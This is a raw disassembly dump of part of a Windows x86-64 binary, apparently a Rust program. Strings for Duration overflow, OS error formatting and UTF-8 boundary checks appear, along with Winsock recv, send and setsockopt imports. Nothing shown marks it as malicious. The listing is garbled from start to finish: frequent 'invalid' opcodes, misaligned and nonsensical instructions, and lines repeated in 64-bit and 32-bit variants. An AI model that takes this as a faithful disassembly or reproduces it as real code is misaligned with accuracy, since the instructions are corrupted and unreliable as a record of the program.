add dl, cl
invalid
cmp esi, dword [rdi + 0xb]
or edi, dword [rax + 0x3b9aca00]
add dl, cl
retf 0x3b9a
invalid
add dh, byte [rcx]
ror byte [rbp + 0x65360090], 0xc4
lea edx, [rax - 0x3b9aca00]
invalid
invalid
stc
add cl, byte [rdi]
ror byte [r9 + 0x9e8c1d0], 1
ror byte [rcx + 0x9e8c1d0], 1
call 0x1007e0a17
or dword [rbx + 4], 0
add al, 0
rol byte [rbx + 0x4800044b], 0xc1
add al, 0
add al, 0
add byte [rax - 0x3f], cl
call 0x100160b40
invalid
retf 0x3b9a
invalid
add ecx, dword [rcx - 0x77]
stc
mov ecx, edi
sal dword [rbx + 5], 0x8b
add eax, 0xeb084b8b
or r11b, bpl
or dword [rbx + 0x4c75084b], ecx
or byte [r13 + 0x4c], sil
or byte [rbp + 0x4c], dh
cmp rcx, r14
movabs rdx, 0x73f829483b9aca00
add eax, 0x95e9
xchg ebp, eax
add byte [rax], al
invalid
sub eax, edi
clc
xchg ebp, eax
add byte [rax], al
add byte [rax], al
add byte [rcx], bh
int1
test eax, eax
sal byte [rdx + rsi*8 + 0x48], 0xff
dec rax
enter 0xffffffffffffc181, 0
retf 0x3b9a
invalid
invalid
rol dword [rax], 0xca
add dl, cl
invalid
int1
retf 0xeac1
or dword [rax + 0x69], ecx
rol byte [rbx + 0x4800044b], cl
or dword [rbx + 4], 0
invalid
imul edx, edx, 0x44b83
or dword [rbx + 4], 0
shr edx, 0x27
invalid
invalid
add byte [rax], al
add byte [rcx - 0x2e], ch
add dl, cl
retf 0x3b9a
invalid
cmp ebp, dword [rcx]
ror dword [rcx + 0x395cebca], 1
int1
pop rsp
adc eax, 0xfc9854d
test byte [rcx + rax], bl
add byte [rax], al
leave
add dl, cl
invalid
sub r10d, ecx
sub edx, ecx
shr ebx, 9
jmp case.0x14012082a.335
imul ebx, ebx, 0x44b83
add al, 0
shr ebx, 0x27
jmp 0x14014c2da
invalid
add byte [rax], al
add byte [rbp + 0x39], cl
cmp ecx, eax
jb 0x14014c2da
invalid
test dword [rbx - 1], esi
cmp ecx, eax
jae 0x14014c2c4
invalid
invalid
ret
cmp eax, dword [rbp + 0x29]
ret 0x3941
invalid
invalid
cmp edx, edx
xchg dword [rax - 1], esp
invalid
invalid
push qword [rcx]
sal byte [rcx], 0xd2
invalid
ror byte [rax - 0x7d], cl
invalid
push 0x5d5e5f5b
or eax, 0x742c2
add byte [rbp + rcx*4 + 5], cl
sal dword [rcx + 7], cl
add byte [rdx + 0x19], bh
mov edx, 0x19
invalid
add al, ch
jno case.0x14012082a.332
add eax, dword [rax]
add byte [rdi], cl
or edi, edi
adc eax, 0x42d49
sub rax, 0xffffffffc1480004
loopne case.0x140124c59.249
shl eax, 0x20
enter 0xffffffffffff8d48, 5
invalid
and al, 0x20
or dword [rax], eax
xchg ebx, eax
invalid
invalid
add byte [rbp + rcx*4 + 0x45], cl
enter 0x2bba, 0
sub eax, dword [rax]
sub eax, dword [rax]
add byte [rax], al
add al, ch
test dword [rbx + 0xb0f0003], ebp
add eax, dword [rax]
ud2
add byte [rax], al
add eax, dword [rax]
invalid
invalid
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x30], 1
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1401ea218]
lea eax, [0x1401ea218]
rcr esi, 9
add byte [rax - 0x77], cl
invalid
invalid
or dword [rax], eax
fmul dword [r15]
push rdi
ror byte [rdi], 0x11
loopne 0x14014c3ab
loopne 0x14014c3ab
lea edx, [0x1401c0820]
adc eax, 0x744b7
mov bh, 0x44
invalid
cmpsb byte ds:[rsi], byte [rdi]
add eax, dword [rax]
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rax, str.overflow_in_Duration::new
lea eax, [0x1401c07c8]
invalid
invalid
mov dword [rbp - 0x38], eax
enter 0xffffffffffffc748, 0x45
rol byte [r9], 1
rol byte [rcx], 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1401ea218]
add eax, 0x9de8a
mov bl, dh
or dword [rax], eax
invalid
fimul word [rcx]
add byte [rax - 0x77], cl
fmul dword [r15]
fmul dword [rdi]
fmul dword [rdi]
push rdi
ror byte [rdi], 0x11
loopne 0x14014c3e2
invalid
lea edx, [0x140190bc8]
adc eax, 0x44828
sub byte [rax + 4], cl
add byte [rax - 0x73], cl
invalid
add al, 0
lea ecx, [rbp - 0x38]
enter 0x7e8, 0xffffffffffffffa6
add eax, dword [rax]
invalid
or eax, 0x4482e
add al, 0
add byte [rbp + rcx*4 + 5], cl
lea eax, [0x140190c08]
add al, 0
add al, 0
add al, 0
add byte [rdx + 0x23], bh
add byte [rax], al
add al, ch
popfq
stosd dword [rdi], eax
add eax, dword [rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x56], dl
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
invalid
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
enter 0xffffffffffffa6e8, 0x42
enter 0xffffffffffffa6e8, 0x42
call fcn.140040690
nop
cmpsb byte [rsi], byte [rdi]
out dx, eax
out dx, eax
out dx, eax
call qword [rax + 0x28c48348]
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
push 0x246c8d48
invalid
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add dh, bh
invalid
invalid
invalid
dec dword [rax - 0x77]
mov rsi, rdx
mov esi, edx
invalid
mov rdi, qword [rcx]
mov edi, dword [rcx]
cmp dword [rcx + 0x3e083f8], ecx
mov eax, edi
and eax, 3
loopne case.0x14011d1d3.475
lea rcx, [0x1401efce8]
lea ecx, [0x1401efce8]
sar dword [rax], 0xa
cmp byte [rdx], cl
or al, byte [rax]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1401c187c]
lea edx, [0x1401c187c]
adc eax, 0x7543d
push rsp
invalid
mov r8d, 5
mov eax, 5
add eax, 0xff000000
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
push rax
sbb byte [rax - 0x77], cl
mov dword [rbp - 0x20], esi
jne case.0x14012082a.346
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
invalid
invalid
call 0x140fe0a19
call 0x140fe0a19
jmp 0x18fa21056
jmp 0x18fa21056
lea r9, [rdi + 0x10]
lea rax, [0x14014d170]
add eax, 0xd12
adc byte [r8 - 0x73], r9b
adc byte [rax - 0x73], cl
add eax, 0xd12
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rdx, [0x1401c1853]
lea edx, [0x1401c1853]
adc eax, 0x753e9
push rbx
invalid
add byte [rax - 0x73], cl
jne case.0x140122a26.455
invalid
lea rsi, [rbp - 0x20]
mov r8d, 4
add al, 0
add byte [rax], al
invalid
loopne 0x14014c4b0
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
call fcn.140016ef0
lea rax, [0x140063ed0]
lea eax, [0x140063ed0]
je 0x14014c424
stosb byte [rdi], al
in al, dx
dec dword [rax - 0x73]
lea eax, [0x140063ed0]
add eax, 0xfff17a4d
jp case.0x1401207b8.455
int1
dec dword [rax - 0x77]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x7b04b
mov r8b, 7
invalid
lea rdx, [0x1401c74da]
lea edx, [0x1401c74da]
mov r8b, 7
invalid
add byte [rcx - 0x48], al
mov r8d, 7
invalid
add byte [rax - 0x77], cl
mov rcx, rsi
int1
mov r9, rdi
stc
call fcn.140016ef0
push rax
stosb byte [rdi], al
in al, dx
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
movzx ebx, byte [rbp - 0x18]
mov dh, 0x5d
invalid
jmp 0x19dcad3a7
add byte [rdi], cl
mov dh, 0x5d
pop rbp
call 0x140a449bb
jne 0x14014c53d
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x14014c82c
jns case.0x14012082a.511
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rdi - 1]
lea eax, [rdi - 1]
dec dword [r8 - 0x7d]
add rdi, 0xf
add edi, 0xf
invalid
mov qword [rbp - 0x38], rax
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
invalid
invalid
enter 0xffffffffffff8b48, 0x4e
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, [0x1401c27e3]
adc eax, 0x76315
invalid
mov r8d, 6
mov eax, 6
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
push rax
sbb byte [rax - 0x77], cl
invalid
mov dword [rbp - 0x20], esi
jne case.0x1401208c7.457
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
invalid
invalid
invalid
call 0x140fe0aa8
jmp 0x145a20ce5
lea rax, [0x14014d170]
mov qword [rsp + 0x20], rax
xchg dword [rax + rax], ecx
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x1401c1853]
lea rsi, [rbp - 0x20]
loopne 0x14014c53b
mov eax, 4
loopne 0x14014c53b
mov eax, 4
mov rcx, rsi
mov r9, rdi
stc
stc
call fcn.140016ef0
lea rax, [0x14014d150]
mov qword [rsp + 0x20], rax
and al, 0x20
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rdx, [0x1401c27e9]
adc eax, 0x762cc
int3
invalid
add byte [rbp + rcx*4 + 0x4d], cl
enter 0xffffffffffffb841, 5
invalid
invalid
lea r9, [rbp - 0x38]
mov r8d, 5
mov eax, 5
enter 0xffffffffffffb841, 5
mov eax, 5
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.140016ef0
cmp byte [rbp - 0x17], 0
movzx ebx, byte [rbp - 0x18]
je 0x14014c82c
add byte [rax], al
test bl, bl
mov bl, 1
jne 0x14014c82c
test ebp, esp
add al, byte [rax]
invalid
test ebp, esp
add al, byte [rax]
add byte [rax - 0x75], cl
loopne case.0x140126626.394
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
xor al, 4
jne case.0x140135311.372
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1401bff68]
mov r8d, 2
add byte [rax], al
add cl, ch
invalid
jmp 0x14014c823
mov ah, 2
add byte [rax], al
add byte [rax - 0x3f], cl
out dx, eax
and byte [rcx - 0x74b72383], cl
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
shr rdi, 0x20
shr edi, 0x20
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x752c8
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x752c8
mov r8d, 2
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
jne 0x14014c55a
jne 0x14014c55a
enter 0x4588, 0xffffffffffffffd0
mov byte [rbp - 0x30], al
rol r14b, 1
rol dh, 1
mov byte [rbp - 0x2f], 0
rol dword [r8], 1
rol dword [rax], 1
lea rax, [0x14014d1a0]
lea eax, [0x14014d1a0]
add byte [rax + rax], cl
or al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x752a3
lea rdx, [0x1401c184f]
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
mov rcx, rsi
int1
int1
call fcn.140016ef0
test eax, 0x4d8bffec
fsub st(0), st(0)
invalid
in al, dx
dec dword [rbx - 0x591723b3]
mov ecx, dword [rbp - 0x24]
invalid
cmpsb byte [rsi], byte [rdi]
mov ecx, dword [rbp - 0x24]
fsub st(0), st(0)
call fcn.14014c870
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x72b700bb], cl
mov byte [rbp - 1], al
lea rax, [0x14014d170]
add eax, 0xb9c
dec dword [r8 - 0x73]
dec dword [rax - 0x73]
add eax, 0xb9c
or eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax], al
mov qword [rsp + 0x20], rax
lea rdx, [0x1401c1853]
invalid
lea r9, [rbp - 1]
mov r8d, 4
mov eax, 4
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
call fcn.140016ef0
test al, 0xec
in al, dx
dec dword [rbx - 0x72b723ab]
mov edx, dword [rbp - 0x24]
push rbp
fmul qword [rax - 0x73]
lea rdi, [rbp - 0x20]
lea edi, [rbp - 0x20]
jge 0x14014c5d9
loopne 0x14014c642
mov rcx, rdi
mov ecx, edi
stc
call fcn.14014ca30
add byte [rax], al
lea rax, [0x140010760]
in al, dx
dec dword [rax - 0x77]
mov dword [rsp + 0x20], eax
invalid
mov qword [rsp + 0x20], rax
lea rdx, [0x1401c74da]
mov r8d, 7
mov eax, 7
invalid
add byte [rax], al
add byte [rax], al
mov rcx, rsi
mov ecx, esi
mov r9, rdi
call fcn.140016ef0
cmp byte [rbp - 0x2f], 0
jge case.0x14013255b.327
invalid
in al, dx
inc dword [rax + 0xf00d17d]
jge case.0x14013255b.327
add byte [rdi], cl
invalid
mov dh, 0x5d
jge case.0x14013255b.327
movzx ebx, byte [rbp - 0x30]
je 0x14014c6aa
invalid
sal byte [rbx + rdi*2 - 0x50], 1
mov al, 1
add dword [rbx + rbx*8 - 0x74b78f8b], eax
enter 0x40f6, 0x34
enter 0x40f6, 0x34
test bl, bl
jne 0x14014c6a5
invalid
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
xor al, 4
enter 0x40f6, 0x34
xor al, 4
add al, 0x75
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
jne 0x14014c68d
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
lea rdx, [0x1401bff68]
lea edx, [0x1401bff68]
adc eax, 0x7391a
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x7391a
invalid
mov r8d, 2
mov eax, 2
call qword [rax + 0x18]
jmp 0x14014c6a5
push rax
sbb bl, ch
jmp 0x14014c6a5
shr rdi, 0x20
shr rdi, 0x20
and byte [rbx + 0x6b7728ff], al
cmp edi, 0x28
ja 0x14014c6cd
sub byte [rdi + 0x6b], dh
lea rax, [0x1401efcf8]
movsxd rcx, dword [rax + rdi*4]
or al, 0xb8
invalid
add byte [rax + 0x63], cl
or al, 0xb8
add rcx, rax
add ecx, eax
jmp rcx
shr cl, 0xe
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
invalid
invalid
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x75ac3
pop rdx
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x75ac3
pop rdx
invalid
invalid
lea edx, [0x1401c214b]
jmp 0x14014c81d
mov byte [rbp - 0x30], al
mov ebx, eax
ret
cmp qword [rbp - 0x18], 0
je 0x14014c82c
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x14023c258]
or eax, 0xefb98
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
jmp 0x14014c82c
add byte [rax], al
mov al, 0x29
jmp 0x14014c787
mov bl, 0
add byte [rax], al
add byte [rax], al
mov al, 1
jmp 0x14014c787
add byte [rax], al
add byte [rax], al
mov al, 2
jmp 0x14014c787
add byte [rax], al
add byte [rax], al
mov al, 3
jmp 0x14014c787
add byte [rax], al
mov al, 4
jmp 0x14014c787
add byte [rax], al
add byte [rax], al
mov al, 5
jmp 0x14014c787
add byte [rax], al
add byte [rax], al
mov al, 6
jmp 0x14014c787
add byte [rax + 0x82e907], dh
add byte [rax], al
invalid
mov al, 8
jmp 0x14014c787
mov al, 9
jmp 0x14014c787
mov al, 0xa
jmp 0x14014c787
mov al, 0xb
jmp 0x14014c787
mov al, 0xc
jmp 0x14014c787
mov al, 0xd
jmp 0x14014c787
mov al, 0xe
jmp 0x14014c787
mov al, recv
jmp 0x14014c787
mov al, reloc.WS2_32.dll_recv
jmp 0x14014c787
mov al, 0x11
jmp 0x14014c787
mov al, send
jmp 0x14014c787
mov al, reloc.WS2_32.dll_send
jmp 0x14014c787
mov al, setsockopt
jmp 0x14014c787
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x14014c787
mov al, reloc.WS2_32.dll_shutdown
jmp 0x14014c787
mov al, 0x17
jmp 0x14014c787
mov al, 0x18
jmp 0x14014c787
mov al, 0x19
jmp 0x14014c787
mov al, 0x1a
jmp 0x14014c787
mov al, 0x1b
jmp 0x14014c787
mov al, 0x1c
jmp 0x14014c787
mov al, 0x1d
jmp 0x14014c787
mov al, 0x1e
jmp 0x14014c787
mov al, 0x1f
jmp 0x14014c787
mov al, 0x20
jmp 0x14014c787
mov al, 0x21
jmp 0x14014c787
mov al, 0x22
jmp 0x14014c787
mov al, 0x23
jmp 0x14014c787
mov al, 0x24
jmp 0x14014c787
invalid
sub byte [rax - 0x74b737bb], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x750df
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.KindError__os_error
mov r8d, 4
mov eax, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
jne 0x14014c78e
sbb byte [rax - 0x77], cl
jne 0x14014c78e
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x20], 0
mov byte [rbp - 0xf], 0
lea r8, case.0x140119330.357
lea rcx, [rbp - 0x20]
loopne 0x14014c809
lea edx, [rbp - 0x38]
loopne 0x14014c809
lea edx, [rbp - 0x38]
call fcn.1400170c0
mov rax, qword [rbp - 0x20]
movzx ecx, byte [rbp - 0x10]
test rax, rax
imul dword [rax - 0x74b70014]
loopne 0x14014c7dd
mov dh, 0x4d
invalid
je 0x14014c82a
mov bl, 1
test cl, cl
leave
leave
jne 0x14014c82c
mov rsi, qword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
cmp rax, 1
jne 0x14014c80e
cmp byte [rbp - 0xf], 0
je 0x14014c80e
test byte [rsi + 0x34], 4
jne 0x14014c80e
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x73347
sub byte [rax - 0x73], r9b
adc eax, 0x73347
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14014c82c
sbb byte [rax + rax*8 - 0x74b7e18b], al
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x791f3
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401c5a10]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14014c82c
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x68
invalid
push 0x5d5e5f5b
invalid
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea rcx, [rbp - 0x20]
loopne 0x14014c83e
xchg bl, ah
invalid
call qword [rax + 0x28c48348]
loopne 0x14014c83e
xchg bl, ah
jrcxz 0x14014c858
invalid
call qword [rax + 0x28c48348]
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
add dword [rcx + 0x3e2f9], eax
add byte [rsi + 0x2a], bh
jle 0x14014c8a4
add byte [rsi + 0x44], bh
xchg esi, eax
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xa392c
add byte [rax], al
stc
jbe 0x14014c927
add byte [rax], al
test dword [rsi - 0x50000000], edi
mov esi, 0xb0000000
add byte [rax], al
and bl, al
stc
and dword [rax], esp
add byte [rax], al
invalid
invalid
test byte [rdx - 0x17000000], al
add byte [rax], al
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x3c297f], cl
invalid
inc dword [rbx + 0x727202f8]
add dh, byte [rdx + 0x72]
movzx r11d, r11b
test byte [r11 + r9], 1
je 0x14014d047
nop
cmp r10, rax
je case.0x140119330.718
mov rdx, r10
movzx r11d, byte [r10 - 1]
test r11b, r11b
js 0x14014cf80
lea r10, [rdx - 1]
movzx r11d, r11b
jmp 0x14014cfd8
movzx esi, byte [rdx - 2]
cmp sil, 0xc0
jge 0x14014cfa9
movzx edi, byte [rdx - 3]
cmp dil, 0xc0
jge 0x14014cfb2
lea r10, [rdx - 4]
movzx ebx, byte [rdx - 4]
and ebx, 7
shl ebx, 6
and edi, 0x3f
or edi, ebx
jmp 0x14014cfb9
lea r10, [rdx - 2]
and esi, 0x1f
jmp 0x14014cfc1
lea r10, [rdx - 3]
and edi, 0xf
shl edi, 6
and esi, 0x3f
or esi, edi
shl esi, 6
and r11b, 0x3f
movzx r11d, r11b
or r11d, esi
cmp r11d, 0x110000
je case.0x140119330.718
lea esi, [r11 - 9]
cmp esi, 5
jb 0x14014cf60
cmp r11d, 0x20
je 0x14014cf60
cmp r11d, 0x80
jb 0x14014d047
mov esi, r11d
shr esi, 8
cmp esi, 0x1f
invalid
jg 0x14014d01f
invalid
test esi, esi
je 0x14014cf4f
test byte [rdi + rdi*8 - 1], al
invalid
test byte [rdi + rdi*8 - 1], al
inc dword [rbx + 0x377516fe]
cmp esi, 0x16
jne 0x14014d047
cmp r11d, 0x1680
je 0x14014cf60
invalid
invalid
invalid
invalid
jmp 0x14014d047
cmp esi, 0x20
je 0x14014d038
and byte [rsp + rdx - 0x7d], dh
invalid
cmp esi, 0x30
jne 0x14014d047
cmp r11d, 0x3000
je 0x14014cf60
invalid
invalid
jmp 0x14014d047
movzx r11d, r11b
test byte [r11 + r9], 2
or eax, dword [rdx]
jne 0x14014cf60
sub rdx, rax
cmp r8, rdx
jae case.0x14011ca0b.695
mov rdx, r8
jmp 0x14014d056
xor edx, edx
mov qword [r14], rax
mov qword [r14 + 8], rcx
mov dword [rsi + 8], ecx
mov dword [rsi + 8], ecx
mov qword [r14 + 0x10], rdx
add rsp, 0x10c8
enter reloc.WS2_32.dll_recv, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
test rdx, rdx
je 0x14014d056
cmp r8, rdx
jbe 0x14014d056
xlatb
xlatb
cmp byte [rax + rdx], 0xbf
jg 0x14014d056
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x1401ea508]
mov edx, 0x30
xor byte [rax], al
add byte [rax], al
invalid
call fcn.140186b70
ud2
rcr dword [rdx + 0xb0f0003], cl
mov ecx, 1
mov rdx, rbx
call fcn.140186620
je 0x14014d03f
add eax, dword [rax]
je 0x14014d03f
add eax, dword [rax]
ud2
invalid
add byte [rdx + 0x800], bh
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
mov rcx, rbx
call fcn.140186af0
ud2
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rax]
lea rcx, [rbp + 0x1008]
call fcn.14014abe0
nop
adc byte [rax], al
add al, ch
call 0xd114d0d3
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
ror byte [rdi], 1
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
add byte [rax], al
call fcn.14014abe0
nop
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
int3
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov rax, qword [rax + 0x18]
jmp rax
int3
int3
int3
cmp ebp, dword [rbp + 7]
add byte [rax + 0x63], cl
add al, 0x81
invalid
or dword [rax + 1], 0x4a8b48c8
and byte [rax - 0x75], cl
push rdx
add rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
jmp rcx
test esp, esp
add byte [rax], al
add byte [rax + 0x22850f20], ch
test al, 0x20
jne 0x14014d2e2
movsxd r8, dword [rcx]
mov rax, r8
neg rax
test r8, r8
mov ecx, r8d
cmovs rcx, rax
mov eax, 0x27
cmp rcx, 0x2710
jb 0x14014d36e
invalid
mov dword [rcx], eax
add byte [rax], al
invalid
mov esi, 0x27
movabs r9, 0x346dc5d63886594b
lea r11, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add byte [rdi], cl
invalid
add byte [rax], r8b
invalid
add byte [rdi], cl
invalid
mov rax, rcx
mov eax, ecx
mul r9
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
fistp qword [rbx + 0x14]
add byte [rax], al
fistp qword [rbx + 0x14]
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r11 + rbx*2]
mov word [rsp + rsi + 0x2c], bx
movzx edi, word [r11 + rdi*2]
movzx edi, word [rbx + rdi*2]
movzx edi, word [rbx + rdi*2]
mov word [rsp + rsi + 0x2e], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x14014d200
cmp rdx, 0x63
jbe 0x14014d283
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r9d, ecx, 0x64
sub edx, r9d
movzx edx, dx
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
invalid
invalid
add eax, 0xb70f4100
mov bh, setsockopt
push rcx
add dword ds:[0xf7241379], 0x89665114
push rsp
add al, 0x2e
mov bh, setsockopt
push rcx
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x14014d380
xor ebx, 0
add byte [rax], al
xor ebx, 0
add byte [rax], al
add dl, 0x30
mov byte [rsp + rax + 0x2f], dl
add al, 0x2f
xor byte [rax + 0x482f0454], cl
dec eax
add al, 0x2f
invalid
dec rax
jmp 0x14014d394
clc
add byte [rax], al
add byte [rbx - 0x7e47beef], cl
add byte [rax], al
add byte [rax + 0x30], bh
mov r9d, edx
nop dword [rax]
invalid
mov rcx, r8
shr r9d, 4
shr ecx, 4
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
mov r11d, 0x57
invalid
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
ret
cmovb r11d, eax
add r11b, r8b
mov byte [rsp + rcx + 0x2e], r11b
lea r8, [rcx - 1]
cmp edx, 0x10
mov edx, r9d
jae 0x14014d2b0
shr bl, 1
mov r10, qword [rcx]
jmp 0x14014d330
mov r8d, 0x81
mov eax, 0x30
mov r9d, edx
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
shr r9d, 4
mov r8d, edx
and r8b, 0xf
cmp r8b, 0xa
mov r11d, 0x37
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
ret
mov byte [rsp + rcx + 0x2e], r11b
pop rsp
or al, 0x2e
add byte [rdi + rcx + 0x42], al
fadd dword [rbp]
ret
pop rsp
or al, 0x2e
lea r8, [rcx - 1]
cmp edx, 0x10
